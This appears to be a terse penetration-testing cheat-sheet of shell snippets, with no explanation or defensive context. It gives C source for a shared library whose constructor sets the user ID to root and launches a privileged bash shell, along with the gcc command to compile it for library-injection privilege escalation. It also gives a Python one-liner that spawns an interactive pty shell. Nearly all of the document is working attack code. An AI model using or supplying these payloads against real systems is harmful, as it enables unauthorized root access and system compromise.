## C shell.c: ```c #include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); } ``` compile: ```bash $ gcc -shared -fPIC -o <outputfile> shell.c ``` --- # Python ```bash python -c'import pty; pty.spawn("/bin/bash")' ```